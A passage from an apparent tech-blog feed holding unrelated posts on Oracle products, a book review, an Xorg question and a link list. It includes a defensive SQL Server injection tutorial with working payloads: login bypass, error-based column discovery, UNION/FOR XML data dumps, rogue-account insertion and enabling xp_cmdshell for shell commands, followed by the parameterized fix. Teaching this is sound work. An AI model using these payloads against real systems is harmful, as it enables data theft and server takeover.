severity of the new vulnerabilities fixed with the advisory. The rapid inclusion of the Solaris product lines in the Critical Patch Update and the extension of Oracle Software Security Assurance to Sun technologies are evidence of the flexibility of Oracle's security assurance programs. These should also result in tangible security benefits for the users of the Oracle hardware and software stack (such as a predictable patching schedule for all Oracle products).

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• Motores tecnológicos para el crecimiento económico

  - by Fabian Gradolph

  Oracle ha participado hoy en el IV Curso de Verano AMETIC-UPM. La presentación a corrido a cargo de José Manuel Peláez, director de Preventa de Tecnología de Oracle Ibérica, quien ha hecho una completa revisión de cuáles son los impulsores actuales de la innvovación y del desarrollo en el entorno de las tecnologías, haciendo honor al título del curso:  Las TIC en el nuevo entorno socio-económico: Motores de la recuperación económica y el empleo. Peláez, en su presentación "De la tecnología a la innovación: impulsores de la actividad económica",  ha comenzado destacando la importancia estratégica que hoy en día tienen las tecnologías para cualquier modelo de negocio. No se trata ya de hacer frente a la crisis económica, que también, sino sobre todo de hacer frente a los desafíos presentes y futuros de las empresas. En este sentido, es esencial hacer frente a un reto: el alto coste que tiene para las organizaciones la complejidad de sus sistemas tecnológicos. Hay un ejemplo que Oracle utiliza con frecuencia. Si un coche se comprase del mismo modo en que las empresas adquieren los sistemas de información, compraríamos por un lado la carrocería, por otro lado el motor, las ventanas, el cambio de marchas, etc... y luego pasaríamos un tiempo muy interesante montándolo todo en casa. La pregunta clave es: ¿por qué no adquirir los sistemas de información ya preparados para funcionar, al igual que compramos un coche?. El sector TI, con Oracle a la cabeza, está dando uina respuesta adecuada con los sistemas de ingenería conjunta. Se trata de sistemas de hardware y software diseñados y concebidos de forma integrada que reducen considerablemente el tiempo necesario para la implementación, los costes de integración y los costes de energía y mantenimiento. La clave de esta forma de adquirir la tecnología, según ha explicado Peláez, es que al reducir la complejidad y los costes asociados, se están liberando recursos que pueden dedicarse a otras necesidades. Según los datos de Gartner, de la cantidad de recursos invertidos por las empresas en TI, el 63% se dedica a tareas de puro funcionamiento, es decir, a mantener el negocio en marcha. La parte de presupuesto que se dedica a crecimiento del negocio es el 21%, mientras que sólo un 16% se dedica a transformación, es decir, a innovación. Sólo mediante la utilización de tecnologías más eficientes -como los sistemas de ingeniería conjunta-, que lleven aparejados menores costes, es viable reducir ese 63% y dedicar más recursos al crecimiento y la innovación. Ahora bien, una vez liberados los recursos económicos, ¿hacia dónde habría que dirigir las inversiones en tecnología?. José Manuel Peláez ha destacado algunas áreas esenciales como son Big Data, Cloud Computing, los retos de la movilidad y la necesidad de mejorar la experiencia de los clientes, entre otros. Cada uno de estos aspectos lleva aparejados nuevos retos empresariales, pero sólo las empresas que sean capaces de integrarlos en su ADN e incorporarlos al corazón de su estrategia de negocio, podrán diferenciarse en el panorama competitivo del siglo XXI. Desde estas páginas los iremos desgranando poco a poco.

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• The Whole Enchilada — Fusion Supply Chain in the Cloud

  - by Kathryn Perry

  A guest post by Tyra Crockett, Senior Manager at Oracle No other vendor can offer everything in the cloud the way Oracle can. You can get HR from Workday and CRM from Salesforce, but you can get the whole enchilada—HCM, CRM and ERP—all from Oracle on one platform. If you’re thinking about using Oracle's Cloud Services to implement the newest Oracle Fusion Supply Chain applications, this post is for you. Point #1: The Oracle Cloud Applications Services portfolio includes ERP cloud services which are flexible and can adapt to fill your supply chain needs. For example, you might be opening a small distribution facility in California, but don’t have the time or IT resources to warrant a full scale supply chain implementation. You can use Oracle’s Cloud to implement the Oracle Fusion Supply Chain applications you need without an increase in IT staff or hardware. Then as your business grows, you can add more features and applications to your cloud.   Point #2: Whether you’re implementing a slice of the Fusion Procurement pie, or the entire ERP portfolio, you want to be up and running fast with low upfront costs and investment risks. That’s where you can trust a world-class technology organization like Oracle. Your SaaS subscription-based deployment model will take away the headaches associated with determining your software costs. You also will be able to eliminate expensive customizations and configure your deployment as you like, saving you time and money during the initial stages and upon upgrade. Point #3: Another great benefit of operating your Oracle Fusion Supply Chain in the cloud is the opportunity to standardize your processes across your entire supply chain. You can institute processes in San Francisco and be confident they will be followed in Mexico City and Hong Kong. Point #4: If data security is a concern – and it is for most of us – Oracle-managed cloud services give you the comfort of knowing that your data will always be there when you need it. You will not have to manage the IT services associated with patching and upgrade. They will be taken care of automatically. This enables you to focus on what you do best: managing your business. Point #5: Cloud services aren’t an either/or proposition. You might have very good business reasons for choosing a hybrid model -- running some applications in the cloud and others on premise. That allows you to leverage your own IT department, when and where you need to, and shift focus when necessary. I urge you to take a hard look at the Oracle Fusion Supply Chain applications running in the cloud. These solutions running alongside your existing legacy systems can solve your toughest business challenges as you move forward in the 21st century.

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• Book review: Microsoft System Center Enterprise Suite Unleashed

  - by BuckWoody

  I know, I know – what’s a database guy doing reading a book on System Center? Well, I need it from time to time. System Center is actually a collection of about 7 different products that you can use to manage and monitor your software and hardware, from drive space through Microsoft Office, UNIX systems, and yes, SQL Server. It’s that last part I care about the most, and so I’ve dealt with Data Protection Manager and System Center Operations Manager (I call it SCOM) in SQL Server. But I wasn’t familiar with the rest of the suite nor was I as familiar as I needed to be with the “Essentials” release – a separate product that groups together the main features of System Center into a single offering for smaller organizations. These companies usually run with a smaller IT shop, so they sometimes opt for this product to help them monitor everything, including SQL Server. So I picked up “Microsoft System Center Enterprise Suite Unleashed” by Chris Amaris and a cast of others. I don’t normally like to get a technical book by multiple authors – I just find that most of the time it’s quite jarring to switch from author to author, but I think this group did pretty well here.  The first chapter on introducing System Center has helped me talk with others about what the product does, and which pieces fit well together with SQL Server. The writing is well done, and I didn’t find a jump from author to author as I went along. The information is sequential, meaning that they lead you from install to configuration and then use. It’s very much a concepts-and-how-to book, and a big one at that – over 950 pages of learning! It was a pretty quick read, though, since I skipped the installation parts and there are lots of screenshots. While I’m not sure you’d be an expert on the product when you finish reading this book, but I would say you’re more than halfway there. I would say it suits someone that learns through examples the best, since they have a lot of step-by-step examples I do recommend that you take a look if you have to interact with this product, or even if you are a smaller shop and you’re the primary IT resource. The last few chapters deal with System Center Essentials, and honestly it was the best part of the book for me. Share this post: email it! | bookmark it! | digg it! | reddit! | kick it! | live it!

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• How to setup Dual Head with "radeon" driver for R770?

  - by user1709408

  I want to make dual head setup without xrandr but with Xinerama. I put "Screen 1" line into xorg.conf, but card still show identical output on DVI-2 and DVI-3 It is important to use xinerama for me (to glue three monitors), that's why i decide not to use ranrd (randr is incompatible with xinerama as i read somewhere) Here is my videocard (HD 4850 X2): lspci | grep R700 03:00.0 VGA compatible controller: Advanced Micro Devices [AMD] nee ATI R700 [Radeon HD 4850] 04:00.0 Display controller: Advanced Micro Devices [AMD] nee ATI R700 [Radeon HD 4850] Here is how monitors are connected: grep "DVI" /var/log/Xorg.0.log [ 1210.002] (II) RADEON(0): Output DVI-0 using monitor section Monitor0 [ 1210.048] (II) RADEON(0): Output DVI-1 has no monitor section [ 1210.079] (II) RADEON(0): EDID for output DVI-0 [ 1210.080] (II) RADEON(0): Printing probed modes for output DVI-0 [ 1210.128] (II) RADEON(0): EDID for output DVI-1 [ 1210.128] (II) RADEON(0): Output DVI-0 connected [ 1210.128] (II) RADEON(0): Output DVI-1 disconnected [ 1210.128] (II) RADEON(0): Output DVI-0 using initial mode 1920x1200 [ 1210.160] (II) RADEON(1): Output DVI-2 using monitor section Monitor2 [ 1210.215] (II) RADEON(1): Output DVI-3 has no monitor section [ 1210.246] (II) RADEON(1): EDID for output DVI-2 [ 1210.247] (II) RADEON(1): Printing probed modes for output DVI-2 [ 1210.299] (II) RADEON(1): EDID for output DVI-3 [ 1210.300] (II) RADEON(1): Printing probed modes for output DVI-3 [ 1210.300] (II) RADEON(1): Output DVI-2 connected [ 1210.300] (II) RADEON(1): Output DVI-3 connected [ 1210.300] (II) RADEON(1): Output DVI-2 using initial mode 1920x1200 [ 1210.300] (II) RADEON(1): Output DVI-3 using initial mode 1920x1200 Here is my /etc/X11/xorg.conf Section "ServerFlags" Option "RandR" "0" Option "Xinerama" "1" EndSection Section "ServerLayout" Identifier "Three Head Layout" Screen "MyPrecious0" Screen "MyPrecious2" RightOf "MyPrecious0" Screen "MyPrecious3" LeftOf "MyPrecious0" EndSection Section "Screen" Identifier "MyPrecious0" Monitor "Monitor0" Device "Device300" EndSection Section "Screen" Identifier "MyPrecious2" Monitor "Monitor2" Device "Device400" EndSection Section "Screen" Identifier "MyPrecious3" Monitor "Monitor3" Device "Device401" EndSection Section "Device" Identifier "Device300" BusID "PCI:3:0:0" Screen 0 Driver "radeon" EndSection Section "Device" Identifier "Device400" BusID "PCI:4:0:0" Screen 0 Driver "radeon" EndSection Section "Device" Identifier "Device401" BusID "PCI:4:0:0" Screen 1 Driver "radeon" EndSection Section "Monitor" Identifier "Monitor0" EndSection Section "Monitor" Identifier "Monitor2" EndSection Section "Monitor" Identifier "Monitor3" EndSection I tried to switch to vesa driver (didn't work for me) I tried to add options like Option "ZaphodHeads" "DVI-2" and Option "ZaphodHeads" "DVI-3" into sections "Device 400" and "Device 401" (this didn't help because "ZaphodHeads" option is for ranrd, and randr is disabled by decision) I tried to merge sections "Device 400" and "Device 401" into one section and add Option "ZaphodHeads" "DVI-2,DVI-3" (see comment about randr above) single section setup helps to change log line RADEON(1): Output DVI-3 has no monitor section into RADEON(1): Output DVI-3 using monitor section Monitor3 but nothing was enough to switch from screen cloning to separate screens. This problem (lack of documentation on radeon driver) is similar to these: Radeon display driver clones monitors while using Xinerama (moderators decision to close that problem was wrong) Ubuntu 12.10 multi-monitor setup isn't working The problem is solvable, because this hardware worked as three headed for me earlier with gentoo/xorg-server-1.3 Xorg -configure creates setup for the first monitor on the first GPU Please don't advise to use fglrx/aticonfig/amdcccle (this goes against my religion beliefs)

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• Today's Links (6/20/2011)

  - by Bob Rhubart

  Why your security sucks | Eric Knorr A conversation with InfoWorld security expert Roger Grimes reveals why the latest burst of attacks is just business as usual. JDev 11g R2 - ADF BC Dependency Diagram Feature | Andrejus Baranovskis Oracle ACE Director Andrejus Baranovkis continues his exploration of JDeveloper 11g R2. Mobile Apps Put the Web in Their Rear-view Mirror | Charles Newark-French "Our analysis shows that, for the first time ever, daily time spent in mobile apps surpasses desktop and mobile web consumption," says Newark-French. "This stat is even more remarkable if you consider that it took less than three years for native mobile apps to achieve this level of usage, driven primarily by the popularity of iOS and Android platforms." Vivek Kundra, a public servant who gets stuff done | Craig Newmark Craigslist founder Craig Newmark bids farewell to the nation's first CIO. Weblogic, QBrowser and topics | Eric Elzinga Elzinga says: "Besides using the Weblogic Console to add subscribers to our topics we can also use QBrowser to browse queues and topics on your Weblogic Server." Java EE talks at JAX Conf | Arun Gupta Arun Gupta shares links to several Java EE presentations taking place at this week's Jax Conference in San Jose, CA. Development gotchas and silver bullets | Andy Mulholland Mulholland explains why "Software development has to change to fit with new business practices!" Oracle is Proud Sponsor of Gartner Security and Risk Management Summit 2011 | Troy Kitch Oracle will have a very strong presence at this year’s Gartner Security and Risk Management Summit 2011 in Washington D.C., June 20-23. Database Web Service using Toplink DB Provider | Vishal Jain "With JDeveloper 11gR2 you can now create database based web services using JAX-WS Provider," says Jain. Sample Chapter: A Fusion Applications Technical Overview An excerpt from "Managing Oracle Fusion Applications" by Richard Bingham, published by Oracle Press, May 2011. White Paper: Oracle Optimized Solution for Enterprise Cloud Infrastructure This paper provides recommendations and best practices for optimizing virtualization infrastructures when deploying the Oracle Enterprise Cloud Infrastructure. White paper: Oracle Optimized Solution for Lifecycle Content Management Authors Donna Harland and Nick Klosk illustrate how Oracle Enterprise Content Management Suite and Oracle’s Sun Storage Archive Manager work Oracle’s Sun hardware. Bay Area Coherence Special Interest Group Date: Thursday, July 21, 2011 Time: 4:30pm - 8:15pm ET - Note that Parking at 475 Sansome Closes at 8:30pm Location: Oracle Office,475 Sansome Street, San Francisco, CA Google Map Speakers: Chris Akker, Solutions Engineer, F5 Paul Cleary, Application Architect, Oracle Alexey Ragozin, Independent Consultant Brian Oliver, Oracle

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